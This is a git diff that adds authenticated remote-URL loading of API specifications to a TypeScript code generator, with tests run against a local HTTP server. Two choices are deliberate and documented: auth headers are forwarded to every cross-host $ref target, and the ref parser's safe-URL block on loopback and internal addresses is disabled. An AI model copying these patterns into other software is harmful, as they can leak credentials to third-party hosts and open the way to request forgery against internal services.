JSON.parse(content); + } catch { + return parseYaml(content); + } } catch (error) { throw createInputDocumentError({ inputPath: documentPath, inputType: 'openapi', - errorMessage: String(error) + errorMessage: `Could not parse document: ${error}` }); } } diff --git a/src/codegen/types.ts b/src/codegen/types.ts index e77274c2..f10a3cf3 100644 --- a/src/codegen/types.ts +++ b/src/codegen/types.ts @@ -218,6 +218,41 @@ const INPUT_PATH_DESCRIPTION = 'Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)'; const GENERATORS_DESCRIPTION = 'The list of generators to run as part of this configuration. [Read more about generators here](https://the-codegen-project.org/docs/generators)'; +const INPUT_AUTH_DESCRIPTION = + 'Authentication for fetching remote input specifications via http(s). Ignored for local file paths. ' + + 'WARNING: these credentials are sent to every URL the loader fetches, including external $ref targets on other hosts. ' + + 'See https://the-codegen-project.org/docs/configurations#auth-scope-and-security-considerations for details.'; + +/** + * Authentication configuration for fetching remote input documents. + * One of three shapes: + * - bearer: adds `Authorization: Bearer `. + * - apiKey: adds `
: `. + * - custom: adds the given headers verbatim. + * + * The same headers are attached to every URL the loader fetches, + * including external `$ref` targets on other hosts. + */ +export const zodInputAuth = z + .discriminatedUnion('type', [ + z.object({ + type: z.literal('bearer'), + token: z.string().min(1) + }), + z.object({ + type: z.literal('apiKey'), + header: z.string().min(1), + value: z.string().min(1) + }), + z.object({ + type: z.literal('custom'), + headers: z.record(z.string(), z.string()) + }) + ]) + .optional() + .describe(INPUT_AUTH_DESCRIPTION); + +export type InputAuthConfig = z.infer; // Re-export from utils - the canonical source of truth for import extension export {zodImportExtension, ImportExtension} from './utils'; @@ -275,6 +310,7 @@ export const zodAsyncAPITypescriptConfig = z.object({ $schema: z.string().optional().describe(SCHEMA_DESCRIPTION), inputType: z.literal('asyncapi').describe(DOCUMENT_TYPE_DESCRIPTION), inputPath: z.string().describe(INPUT_PATH_DESCRIPTION), + auth: zodInputAuth, ...zodTypeScriptConfigOptions, generators: z .array(zodAsyncAPITypeScriptGenerators) @@ -300,6 +336,7 @@ export const zodOpenAPITypescriptConfig = z.object({ $schema: z.string().optional().describe(SCHEMA_DESCRIPTION), inputType: z.literal('openapi').describe(DOCUMENT_TYPE_DESCRIPTION), inputPath: z.string().describe(INPUT_PATH_DESCRIPTION), + auth: zodInputAuth, ...zodTypeScriptConfigOptions, generators: z .array(zodOpenAPITypeScriptGenerators) @@ -321,6 +358,7 @@ export const zodJsonSchemaTypescriptConfig = z.object({ $schema: z.string().optional().describe(SCHEMA_DESCRIPTION), inputType: z.literal('jsonschema').describe(DOCUMENT_TYPE_DESCRIPTION), inputPath: z.string().describe(INPUT_PATH_DESCRIPTION), + auth: zodInputAuth, ...zodTypeScriptConfigOptions, generators: z .array(zodJsonSchemaTypeScriptGenerators) @@ -356,6 +394,11 @@ export interface RunGeneratorContext { configuration: TheCodegenConfiguration; configFilePath: string; documentPath: string; + /** + * Authentication carried into the input loaders when `documentPath` is + * a remote URL. Populated from `config.auth` in `realizeGeneratorContext`. + */ + inputAuth?: InputAuthConfig; asyncapiDocument?: AsyncAPIDocumentInterface; openapiDocument?: | OpenAPIV3.Document diff --git a/src/commands/generate.ts b/src/commands/generate.ts index e9ec1ce7..be10f698 100644 --- a/src/commands/generate.ts +++ b/src/commands/generate.ts @@ -9,6 +9,7 @@ import {realizeGeneratorContext} from '../codegen/configurations'; import {CodegenError, createGeneratorError} from '../codegen/errors'; import {trackEvent} from '../telemetry'; import {getInputSourceType, categorizeError} from '../telemetry/anonymize'; +import {isRemoteUrl} from '../utils/inputSource'; import {GenerationResult, RunGeneratorContext} from '../codegen'; import {BaseCommand} from './base'; import pc from 'picocolors'; @@ -197,11 +198,22 @@ export default class Generate extends BaseCommand { pathToWatch = path.resolve(watchPath); } else { // Get the input file path from configuration - const context = await realizeGeneratorContext(configFile); - pathToWatch = context.documentPath; + const watchContext = await realizeGeneratorContext(configFile); + pathToWatch = watchContext.documentPath; } const useColors = !flags['no-color']; + + // Watch mode degrades gracefully for URL inputs: chokidar can only + // observe the local filesystem, so skip it and warn the user. + if (isRemoteUrl(pathToWatch)) { + Logger.warn( + `Watch mode: input is a remote URL — skipping input watcher. Use --watchPath to trigger regeneration on local file changes.` + ); + // Keep the process alive so users can still ^C cleanly. + return new Promise(() => undefined); + } + Logger.info( `\nWatching for changes in: ${useColors ? pc.cyan(pathToWatch) : pathToWatch}` ); diff --git a/src/telemetry/anonymize.ts b/src/telemetry/anonymize.ts index cb17373c..92f39e95 100644 --- a/src/telemetry/anonymize.ts +++ b/src/telemetry/anonymize.ts @@ -1,29 +1,10 @@ /* eslint-disable no-undef */ -import path from 'path'; - /** - * Detect the type of input source without exposing the actual path. - * This ensures we track usage patterns while respecting user privacy. - * - * @param inputPath - The input path to analyze - * @returns The type of input source (remote_url, local_relative, or local_absolute) + * Re-export the canonical helper from `src/utils/inputSource.ts`. The + * telemetry surface is unchanged; the helper now lives next to the rest + * of the URL-detection code so it can be shared with the input loaders. */ -export function getInputSourceType( - inputPath: string -): 'remote_url' | 'local_relative' | 'local_absolute' { - // Check if it's a URL (http:// or https://) - if (inputPath.startsWith('http://') || inputPath.startsWith('https://')) { - return 'remote_url'; - } - - // Check if it's an absolute path - if (path.isAbsolute(inputPath)) { - return 'local_absolute'; - } - - // Otherwise it's a relative path - return 'local_relative'; -} +export {getInputSourceType} from '../utils/inputSource'; /** * Detect if running in a CI environment. diff --git a/src/utils/inputSource.ts b/src/utils/inputSource.ts new file mode 100644 index 00000000..e8a2d783 --- /dev/null +++ b/src/utils/inputSource.ts @@ -0,0 +1,25 @@ +/** + * Helpers for classifying an input path as a remote URL or a local + * filesystem path. Used at the configuration layer to decide whether to + * pass the path through `path.resolve` (local) or untouched (remote). + */ +import path from 'path'; + +export type InputSourceType = + | 'remote_url' + | 'local_relative' + | 'local_absolute'; + +export function isRemoteUrl(inputPath: string): boolean { + return inputPath.startsWith('http://') || inputPath.startsWith('https://'); +} + +export function getInputSourceType(inputPath: string): InputSourceType { + if (isRemoteUrl(inputPath)) { + return 'remote_url'; + } + if (path.isAbsolute(inputPath)) { + return 'local_absolute'; + } + return 'local_relative'; +} diff --git a/src/utils/refResolvers.ts b/src/utils/refResolvers.ts new file mode 100644 index 00000000..43d6617c --- /dev/null +++ b/src/utils/refResolvers.ts @@ -0,0 +1,115 @@ +/* eslint-disable no-undef */ +/** + * Custom http/https resolver factories for cross-spec `$ref` + * dereferencing. Both factories delegate to `fetchRemoteDocument` so the + * same auth headers are attached to every resolved reference. + * + * - `createOpenapiRefParserResolver` returns the `resolve.http` shape + * expected by `@apidevtools/json-schema-ref-parser`. + * - `createAsyncapiResolvers` returns the resolver array expected by + * `@asyncapi/parser`'s `__unstable.resolver` option (Spectral resolver + * shape, `read(uri): string | undefined | Promise`). + * + * Both factories emit a debug log per fetched URL, and an info-level + * warning the first time auth headers are sent to a host that differs + * from the root document's host. + */ +import {fetchRemoteDocument} from './remoteFetch'; +import {InputAuthConfig} from '../codegen/types'; +import {Logger} from '../LoggingInterface'; + +export interface RefResolverContext { + /** The URL of the root input document — used to detect cross-host fetches. */ + rootUrl: string; +} + +interface OpenapiHttpResolver { + order: number; + canRead: (file: {url: string}) => boolean; + read: (file: {url: string}) => Promise; + /** + * v14 of @apidevtools/json-schema-ref-parser blocks loopback / internal + * URLs (127.0.0.1, localhost, etc.) by default. We trust the user's + * inputPath, so disable the safe-url check. + */ + safeUrlResolver: false; +} + +interface AsyncapiResolver { + schema: 'http' | 'https'; + read: (uri: {toString(): string}) => Promise; +} + +function rootHost(rootUrl: string): string | undefined { + try { + return new URL(rootUrl).host; + } catch { + return undefined; + } +} + +function createCrossHostWarner( + rootUrl: string, + hasAuth: boolean +): (refUrl: string) => void { + const root = rootHost(rootUrl); + const warnedHosts = new Set(); + return (refUrl: string) => { + if (!hasAuth || !root) { + return; + } + let refUrlHost: string | undefined; + try { + refUrlHost = new URL(refUrl).host; + } catch { + return; + } + if (!refUrlHost || refUrlHost === root) { + return; + } + if (warnedHosts.has(refUrlHost)) { + return; + } + warnedHosts.add(refUrlHost); + Logger.info( + `[remote-fetch] auth headers sent to '${refUrlHost}' while resolving $ref from '${root}'. If this is unexpected, review the spec.` + ); + }; +} + +export function createOpenapiRefParserResolver( + auth: InputAuthConfig | undefined, + context: RefResolverContext +): OpenapiHttpResolver { + const warn = createCrossHostWarner(context.rootUrl, Boolean(auth)); + return { + order: 1, + safeUrlResolver: false, + canRead: (file: {url: string}): boolean => + file.url.startsWith('http://') || file.url.startsWith('https://'), + read: async (file: {url: string}): Promise => { + Logger.debug(`[remote-fetch] $ref ${file.url}`); + warn(file.url); + const {content} = await fetchRemoteDocument(file.url, auth); + return content; + } + }; +} + +export function createAsyncapiResolvers( + auth: InputAuthConfig | undefined, + context: RefResolverContext +): AsyncapiResolver[] { + const warn = createCrossHostWarner(context.rootUrl, Boolean(auth)); + const read = async (uri: {toString(): string}): Promise => { + const url = uri.toString(); + Logger.debug(`[remote-fetch] $ref ${url}`); + warn(url); + const {content} = await fetchRemoteDocument(url, auth); + return content; + }; + return [ + {schema: 'http', read}, + {schema: 'https', read} + ]; +} diff --git a/src/utils/remoteFetch.ts b/src/utils/remoteFetch.ts new file mode 100644 index 00000000..75c2a2d7 --- /dev/null +++ b/src/utils/remoteFetch.ts @@ -0,0 +1,86 @@ +/* eslint-disable no-undef */ +/** + * Fetches a remote document over http(s) with optional auth headers, + * a timeout, and typed errors. Used by every input parser when + * `inputPath` is a URL. + * + * SECURITY NOTE: When `auth` is configured, the headers are sent to + * **every** URL fetched through this helper, including external `$ref` + * targets on other hosts. See docs/configurations#auth-scope for details. + */ +import {InputAuthConfig} from '../codegen/types'; +import {CodegenError, createRemoteFetchError} from '../codegen/errors'; +import {Logger} from '../LoggingInterface'; + +export interface FetchedDocument { + content: string; + contentType: string | null; + finalUrl: string; +} + +const DEFAULT_TIMEOUT_MS = 30_000; + +export async function fetchRemoteDocument( + url: string, + auth?: InputAuthConfig, + options: {timeoutMs?: number} = {} +): Promise { + Logger.debug(`[remote-fetch] GET ${url}`); + + const controller = new AbortController(); + const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS; + const timer = setTimeout(() => controller.abort(), timeoutMs); + + try { + const response = await fetch(url, { + method: 'GET', + headers: buildAuthHeaders(auth), + signal: controller.signal, + redirect: 'follow' + }); + if (!response.ok) { + throw createRemoteFetchError({ + url, + status: response.status, + statusText: response.statusText, + reason: 'http' + }); + } + const content = await response.text(); + return { + content, + contentType: response.headers.get('content-type'), + finalUrl: response.url || url + }; + } catch (cause) { + if (cause instanceof CodegenError) { + throw cause; + } + if ( + cause instanceof Error && + (cause.name === 'AbortError' || + cause.message?.toLowerCase().includes('aborted')) + ) { + throw createRemoteFetchError({url, reason: 'timeout', cause}); + } + throw createRemoteFetchError({url, reason: 'network', cause}); + } finally { + clearTimeout(timer); + } +} + +function buildAuthHeaders(auth?: InputAuthConfig): Record { + if (!auth) { + return {}; + } + switch (auth.type) { + case 'bearer': + return {Authorization: `Bearer ${auth.token}`}; + case 'apiKey': + return {[auth.header]: auth.value}; + case 'custom': + return {...auth.headers}; + default: + return {}; + } +} diff --git a/test/codegen/configurations.spec.ts b/test/codegen/configurations.spec.ts index 538b49a5..5a1a6d6e 100644 --- a/test/codegen/configurations.spec.ts +++ b/test/codegen/configurations.spec.ts @@ -8,7 +8,8 @@ const CONFIG_JSON = path.resolve(__dirname, '../configs/config.json'); const CONFIG_YAML = path.resolve(__dirname, '../configs/config.yaml'); const CONFIG_TS = path.resolve(__dirname, '../configs/config.ts'); const FULL_CONFIG = path.resolve(__dirname, '../configs/config-all.js'); -import { loadAndRealizeConfigFile, loadConfigFile, realizeConfiguration } from '../../src/codegen/configurations'; +import { loadAndRealizeConfigFile, loadConfigFile, realizeConfiguration, realizeGeneratorContext } from '../../src/codegen/configurations'; +import { zodTheCodegenConfiguration } from '../../src/codegen/types'; import { Logger } from '../../src/LoggingInterface.ts'; import { detectTypeScriptImportExtension } from '../../src/codegen/detection'; jest.mock('node:fs/promises', () => ({ @@ -275,4 +276,146 @@ describe('configuration manager', () => { expect(detected).toBe('.ts'); }); }); + + describe('remote URL inputPath passthrough', () => { + let tempDir: string; + let fetchSpy: jest.SpyInstance; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'codegen-remote-url-')); + fetchSpy = jest.spyOn(globalThis, 'fetch') as jest.SpyInstance; + fetchSpy.mockResolvedValue( + new Response( + JSON.stringify({ $schema: 'http://json-schema.org/draft-07/schema#', type: 'object', properties: {} }), + { status: 200, headers: { 'content-type': 'application/json' } } + ) + ); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + fetchSpy.mockRestore(); + }); + + it('does not path.resolve a remote URL inputPath', async () => { + const configPath = path.join(tempDir, 'codegen.json'); + fs.writeFileSync( + configPath, + JSON.stringify({ + inputType: 'jsonschema', + inputPath: 'https://example.com/schema.json', + language: 'typescript', + generators: [] + }) + ); + + const ctx = await realizeGeneratorContext(configPath); + expect(ctx.documentPath).toBe('https://example.com/schema.json'); + }); + + it('threads inputAuth onto the context for URL inputs', async () => { + const configPath = path.join(tempDir, 'codegen.js'); + fs.writeFileSync( + configPath, + `module.exports = { + inputType: 'jsonschema', + inputPath: 'https://example.com/schema.json', + language: 'typescript', + auth: { type: 'bearer', token: 'tok' }, + generators: [] + };` + ); + + const ctx = await realizeGeneratorContext(configPath); + expect(ctx.inputAuth).toEqual({ type: 'bearer', token: 'tok' }); + // Verify fetch saw the bearer header + const init = fetchSpy.mock.calls[0][1] as RequestInit; + const headers = new Headers(init.headers); + expect(headers.get('authorization')).toBe('Bearer tok'); + }); + }); + + describe('zodInputAuth shape', () => { + const baseAsyncapi = { + inputType: 'asyncapi' as const, + inputPath: 'https://example.com/asyncapi.yaml', + language: 'typescript' as const, + generators: [] + }; + + it('accepts no auth (undefined)', () => { + expect(() => + zodTheCodegenConfiguration.parse({ ...baseAsyncapi }) + ).not.toThrow(); + }); + + it('accepts bearer auth', () => { + expect(() => + zodTheCodegenConfiguration.parse({ + ...baseAsyncapi, + auth: { type: 'bearer', token: 'abc' } + }) + ).not.toThrow(); + }); + + it('accepts apiKey auth', () => { + expect(() => + zodTheCodegenConfiguration.parse({ + ...baseAsyncapi, + auth: { type: 'apiKey', header: 'X-API-Key', value: 'k' } + }) + ).not.toThrow(); + }); + + it('accepts custom headers auth', () => { + expect(() => + zodTheCodegenConfiguration.parse({ + ...baseAsyncapi, + auth: { type: 'custom', headers: { Authorization: 'Bearer abc' } } + }) + ).not.toThrow(); + }); + + it('rejects bearer auth missing token', () => { + expect(() => + zodTheCodegenConfiguration.parse({ + ...baseAsyncapi, + auth: { type: 'bearer' } + }) + ).toThrow(); + }); + + it('rejects unknown auth type', () => { + expect(() => + zodTheCodegenConfiguration.parse({ + ...baseAsyncapi, + auth: { type: 'oauth', token: 'abc' } + }) + ).toThrow(); + }); + + it('accepts auth on openapi input branch', () => { + expect(() => + zodTheCodegenConfiguration.parse({ + inputType: 'openapi', + inputPath: 'https://example.com/openapi.yaml', + language: 'typescript', + auth: { type: 'bearer', token: 'abc' }, + generators: [] + }) + ).not.toThrow(); + }); + + it('accepts auth on jsonschema input branch', () => { + expect(() => + zodTheCodegenConfiguration.parse({ + inputType: 'jsonschema', + inputPath: 'https://example.com/schema.json', + language: 'typescript', + auth: { type: 'apiKey', header: 'X-API-Key', value: 'k' }, + generators: [] + }) + ).not.toThrow(); + }); + }); }); diff --git a/test/codegen/inputs/__helpers__/httpServer.ts b/test/codegen/inputs/__helpers__/httpServer.ts new file mode 100644 index 00000000..db937b84 --- /dev/null +++ b/test/codegen/inputs/__helpers__/httpServer.ts @@ -0,0 +1,96 @@ +/* eslint-disable no-undef, security/detect-object-injection */ +import http from 'http'; +import {AddressInfo} from 'net'; +import fs from 'fs'; +import path from 'path'; + +export interface RecordedRequest { + url: string; + method: string; + headers: Record; +} + +export interface TestRoute { + path: string; + status?: number; + body: string; + contentType?: string; + /** if set, request must include this header (case-insensitive name); else server returns 401 */ + requireHeader?: {name: string; value: string}; +} + +export interface TestServer { + url: string; + port: number; + requests: RecordedRequest[]; + close: () => Promise; +} + +/** + * Starts a real http server bound to 127.0.0.1 on a random port. + * Routes are matched by URL pathname. Unknown paths return 404. + */ +export async function startTestServer(routes: TestRoute[]): Promise { + const requests: RecordedRequest[] = []; + + const server = http.createServer((req, res) => { + const recorded: RecordedRequest = { + url: req.url ?? '', + method: req.method ?? 'GET', + headers: {...req.headers} + }; + requests.push(recorded); + + const route = routes.find((r) => r.path === (req.url ?? '').split('?')[0]); + if (!route) { + res.writeHead(404, {'content-type': 'text/plain'}); + res.end(`Not found: ${req.url}`); + return; + } + + if (route.requireHeader) { + const lower = route.requireHeader.name.toLowerCase(); + const got = req.headers[lower]; + if (got !== route.requireHeader.value) { + res.writeHead(401, {'content-type': 'text/plain'}); + res.end('Unauthorized'); + return; + } + } + + const headers: Record = {}; + if (route.contentType) { + headers['content-type'] = route.contentType; + } + res.writeHead(route.status ?? 200, headers); + res.end(route.body); + }); + + await new Promise((resolve) => { + server.listen(0, '127.0.0.1', () => resolve()); + }); + + const address = server.address() as AddressInfo; + const port = address.port; + const url = `http://127.0.0.1:${port}`; + + return { + url, + port, + requests, + close: () => + new Promise((resolve, reject) => { + server.close((err) => (err ? reject(err) : resolve())); + }) + }; +} + +/** + * Reads a fixture file from test/configs/remote-url/. + */ +export function readFixture(name: string): string { + return fs.readFileSync( + path.resolve(__dirname, '../../../configs/remote-url', name), + 'utf-8' + ); +} diff --git a/test/codegen/inputs/asyncapi.spec.ts b/test/codegen/inputs/asyncapi.spec.ts new file mode 100644 index 00000000..581e8738 --- /dev/null +++ b/test/codegen/inputs/asyncapi.spec.ts @@ -0,0 +1,82 @@ +import {loadAsyncapi} from '../../../src/codegen/inputs/asyncapi'; +import {RunGeneratorContext} from '../../../src/codegen/types'; +import {startTestServer, readFixture} from './__helpers__/httpServer'; + +describe('AsyncAPI loader URL support', () => { + it('loads an asyncapi document from a remote URL', async () => { + const fixture = readFixture('asyncapi.yaml'); + const server = await startTestServer([ + {path: '/asyncapi.yaml', body: fixture, contentType: 'application/yaml'} + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'asyncapi', + inputPath: `${server.url}/asyncapi.yaml`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/asyncapi.yaml` + }; + const document = await loadAsyncapi(context); + expect(document).toBeDefined(); + expect(document?.info().title()).toBe('Remote URL Test'); + } finally { + await server.close(); + } + }); + + it('sends the bearer auth header when configured', async () => { + const fixture = readFixture('asyncapi.yaml'); + const server = await startTestServer([ + { + path: '/asyncapi.yaml', + body: fixture, + contentType: 'application/yaml', + requireHeader: {name: 'authorization', value: 'Bearer abc'} + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'asyncapi', + inputPath: `${server.url}/asyncapi.yaml`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/asyncapi.yaml`, + inputAuth: {type: 'bearer', token: 'abc'} + }; + await expect(loadAsyncapi(context)).resolves.toBeDefined(); + expect(server.requests).toHaveLength(1); + const req = server.requests[0]!; + expect(req.headers['authorization']).toBe('Bearer abc'); + } finally { + await server.close(); + } + }); + + it('throws when remote returns 401', async () => { + const server = await startTestServer([ + { + path: '/asyncapi.yaml', + body: 'unauth', + requireHeader: {name: 'authorization', value: 'Bearer expected'} + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'asyncapi', + inputPath: `${server.url}/asyncapi.yaml`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/asyncapi.yaml` + }; + await expect(loadAsyncapi(context)).rejects.toThrow(); + } finally { + await server.close(); + } + }); +}); diff --git a/test/codegen/inputs/jsonschema.test.ts b/test/codegen/inputs/jsonschema.test.ts index add2a253..aa5b1dd6 100644 --- a/test/codegen/inputs/jsonschema.test.ts +++ b/test/codegen/inputs/jsonschema.test.ts @@ -1,12 +1,17 @@ -import {loadJsonSchemaFromMemory, loadJsonSchemaDocument} from '../../../src/codegen/inputs/jsonschema'; +import {loadJsonSchema, loadJsonSchemaFromMemory, loadJsonSchemaDocument} from '../../../src/codegen/inputs/jsonschema'; import * as path from 'path'; import * as fs from 'fs'; import * as os from 'os'; +import {RunGeneratorContext} from '../../../src/codegen/types'; +import {startTestServer} from './__helpers__/httpServer'; + +const DRAFT_07 = 'http://json-schema.org/draft-07/schema#'; +const CONFIG_FILE = 'codegen.json'; describe('JSON Schema Input Processing', () => { test('should load valid JSON Schema from memory', () => { const schema = { - $schema: 'http://json-schema.org/draft-07/schema#', + $schema: DRAFT_07, type: 'object', properties: { name: { type: 'string' }, @@ -34,7 +39,7 @@ describe('JSON Schema Input Processing', () => { test('should load JSON Schema from JSON file', async () => { const testSchemaPath = path.join(os.tmpdir(), 'test-schema.json'); const testSchema = { - $schema: 'http://json-schema.org/draft-07/schema#', + $schema: DRAFT_07, title: 'User', type: 'object', properties: { @@ -77,4 +82,131 @@ describe('JSON Schema Input Processing', () => { } } }); + + describe('remote URL loading', () => { + test('loads JSON Schema from URL with JSON Content-Type', async () => { + const schema = { + $schema: DRAFT_07, + type: 'object', + properties: {id: {type: 'string'}} + }; + const server = await startTestServer([ + { + path: '/schema', + body: JSON.stringify(schema), + contentType: 'application/json' + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'jsonschema', + inputPath: `${server.url}/schema`, + generators: [] + }, + configFilePath: CONFIG_FILE, + documentPath: `${server.url}/schema` + }; + const result = await loadJsonSchema(context); + expect(result).toEqual(schema); + } finally { + await server.close(); + } + }); + + test('sends bearer auth header', async () => { + const schema = { + $schema: DRAFT_07, + type: 'object', + properties: {a: {type: 'string'}} + }; + const server = await startTestServer([ + { + path: '/schema.json', + body: JSON.stringify(schema), + contentType: 'application/json', + requireHeader: {name: 'authorization', value: 'Bearer abc'} + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'jsonschema', + inputPath: `${server.url}/schema.json`, + generators: [] + }, + configFilePath: CONFIG_FILE, + documentPath: `${server.url}/schema.json`, + inputAuth: {type: 'bearer', token: 'abc'} + }; + const result = await loadJsonSchema(context); + expect(result).toEqual(schema); + expect(server.requests[0]!.headers['authorization']).toBe('Bearer abc'); + } finally { + await server.close(); + } + }); + + test('loads YAML when Content-Type is yaml', async () => { + const yaml = `$schema: '${DRAFT_07}' +type: object +properties: + name: + type: string +`; + const server = await startTestServer([ + { + path: '/schema', + body: yaml, + contentType: 'application/yaml' + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'jsonschema', + inputPath: `${server.url}/schema`, + generators: [] + }, + configFilePath: CONFIG_FILE, + documentPath: `${server.url}/schema` + }; + const result = await loadJsonSchema(context); + expect(result.type).toBe('object'); + } finally { + await server.close(); + } + }); + + test('falls back to JSON-then-YAML for ambiguous Content-Type', async () => { + const yaml = `$schema: '${DRAFT_07}' +type: object +properties: + name: + type: string +`; + const server = await startTestServer([ + { + path: '/schema', + body: yaml, + contentType: 'text/plain' + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'jsonschema', + inputPath: `${server.url}/schema`, + generators: [] + }, + configFilePath: CONFIG_FILE, + documentPath: `${server.url}/schema` + }; + const result = await loadJsonSchema(context); + expect(result.type).toBe('object'); + } finally { + await server.close(); + } + }); + }); }); diff --git a/test/codegen/inputs/openapi.spec.ts b/test/codegen/inputs/openapi.spec.ts index 41013521..13ba6219 100644 --- a/test/codegen/inputs/openapi.spec.ts +++ b/test/codegen/inputs/openapi.spec.ts @@ -2,6 +2,7 @@ import path from 'path'; import {loadOpenapi} from '../../../src/codegen/inputs/openapi'; import {RunGeneratorContext} from '../../../src/codegen/types'; import { OpenAPIV2, OpenAPIV3, OpenAPIV3_1 } from 'openapi-types'; +import {startTestServer} from './__helpers__/httpServer'; describe('OpenAPI Input Parser', () => { it('should load and parse OpenAPI 3.0 document', async () => { @@ -81,4 +82,149 @@ describe('OpenAPI Input Parser', () => { await expect(loadOpenapi(context)).rejects.toThrow(); }); -}); + + describe('remote URL loading', () => { + it('loads an OpenAPI document from a URL', async () => { + const yaml = `openapi: 3.0.0 +info: + title: Remote + version: 1.0.0 +paths: {} +`; + const server = await startTestServer([ + { + path: '/openapi.yaml', + body: yaml, + contentType: 'application/yaml' + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'openapi', + inputPath: `${server.url}/openapi.yaml`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/openapi.yaml` + }; + const document = await loadOpenapi(context) as OpenAPIV3.Document; + expect(document.info.title).toBe('Remote'); + } finally { + await server.close(); + } + }); + + it('sends bearer auth headers', async () => { + const yaml = `openapi: 3.0.0 +info: + title: Auth + version: 1.0.0 +paths: {} +`; + const server = await startTestServer([ + { + path: '/openapi.yaml', + body: yaml, + contentType: 'application/yaml', + requireHeader: {name: 'authorization', value: 'Bearer abc'} + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'openapi', + inputPath: `${server.url}/openapi.yaml`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/openapi.yaml`, + inputAuth: {type: 'bearer', token: 'abc'} + }; + await expect(loadOpenapi(context)).resolves.toBeDefined(); + expect(server.requests[0]!.headers['authorization']).toBe('Bearer abc'); + } finally { + await server.close(); + } + }); + + it('parses JSON content based on Content-Type', async () => { + const json = JSON.stringify({ + openapi: '3.0.0', + info: {title: 'JSON Remote', version: '1.0.0'}, + paths: {} + }); + const server = await startTestServer([ + { + path: '/openapi', + body: json, + contentType: 'application/json' + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'openapi', + inputPath: `${server.url}/openapi`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/openapi` + }; + const document = await loadOpenapi(context) as OpenAPIV3.Document; + expect(document.info.title).toBe('JSON Remote'); + } finally { + await server.close(); + } + }); + + it('uses URL extension fallback for ambiguous Content-Type', async () => { + const yaml = `openapi: 3.0.0 +info: + title: Yaml fallback + version: 1.0.0 +paths: {} +`; + const server = await startTestServer([ + { + path: '/spec.yaml', + body: yaml, + contentType: 'application/octet-stream' + } + ]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'openapi', + inputPath: `${server.url}/spec.yaml`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/spec.yaml` + }; + const document = await loadOpenapi(context) as OpenAPIV3.Document; + expect(document.info.title).toBe('Yaml fallback'); + } finally { + await server.close(); + } + }); + + it('propagates 404 errors', async () => { + const server = await startTestServer([]); + try { + const context: RunGeneratorContext = { + configuration: { + inputType: 'openapi', + inputPath: `${server.url}/missing.yaml`, + generators: [] + }, + configFilePath: 'codegen.json', + documentPath: `${server.url}/missing.yaml` + }; + await expect(loadOpenapi(context)).rejects.toThrow(); + } finally { + await server.close(); + } + }); + }); +}); diff --git a/test/codegen/inputs/remote-url.e2e.spec.ts b/test/codegen/inputs/remote-url.e2e.spec.ts new file mode 100644 index 00000000..e091140c --- /dev/null +++ b/test/codegen/inputs/remote-url.e2e.spec.ts @@ -0,0 +1,359 @@ +import http from 'http'; +import {AddressInfo} from 'net'; +import {loadOpenapi} from '../../../src/codegen/inputs/openapi'; +import {loadAsyncapi} from '../../../src/codegen/inputs/asyncapi'; +import {loadJsonSchema} from '../../../src/codegen/inputs/jsonschema'; +import {RunGeneratorContext} from '../../../src/codegen/types'; +import {Logger} from '../../../src/LoggingInterface'; +import { + startTestServer, + readFixture, + RecordedRequest +} from './__helpers__/httpServer'; + +const BEARER = 'Bearer secret-token'; + +function ctx( + inputType: 'openapi' | 'asyncapi' | 'jsonschema', + url: string, + inputAuth?: any +): RunGeneratorContext { + return { + configuration: { + inputType, + inputPath: url, + generators: [] + } as any, + configFilePath: 'codegen.json', + documentPath: url, + inputAuth + }; +} + +/** + * Start an HTTP server whose response bodies depend on the actual + * bound port (so they can include `$ref` URLs back to localhost:). + * The handler receives `{port, requests}` so it can construct bodies that + * reference the server itself. + */ +async function startDynamicServer( + build: (port: number, requests: RecordedRequest[]) => http.RequestListener +): Promise<{ + url: string; + port: number; + requests: RecordedRequest[]; + close: () => Promise; +}> { + const requests: RecordedRequest[] = []; + const server = http.createServer((req, res) => { + requests.push({ + url: req.url ?? '', + method: req.method ?? 'GET', + headers: {...req.headers} + }); + // Defer to the user-provided listener that knows the port: + // We need to bind first to know the port; the placeholder below is + // replaced once the server is listening (see swap pattern). + placeholder(req, res); + }); + + let placeholder: http.RequestListener = (_req, res) => { + res.writeHead(503); + res.end('not ready'); + }; + + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + const port = (server.address() as AddressInfo).port; + placeholder = build(port, requests); + + return { + url: `http://127.0.0.1:${port}`, + port, + requests, + close: () => + new Promise((resolve, reject) => + server.close((err) => (err ? reject(err) : resolve())) + ) + }; +} + +describe('Remote URL E2E (real HTTP server)', () => { + describe('Cases 1-3: root URL with auth', () => { + it('1. Bearer auth on root URL (asyncapi)', async () => { + const fixture = readFixture('asyncapi.yaml'); + const server = await startTestServer([ + { + path: '/asyncapi.yaml', + body: fixture, + contentType: 'application/yaml', + requireHeader: {name: 'authorization', value: BEARER} + } + ]); + try { + await loadAsyncapi( + ctx('asyncapi', `${server.url}/asyncapi.yaml`, { + type: 'bearer', + token: 'secret-token' + }) + ); + expect(server.requests).toHaveLength(1); + expect(server.requests[0]!.headers['authorization']).toBe(BEARER); + } finally { + await server.close(); + } + }); + + it('2. apiKey auth on root URL (jsonschema)', async () => { + const 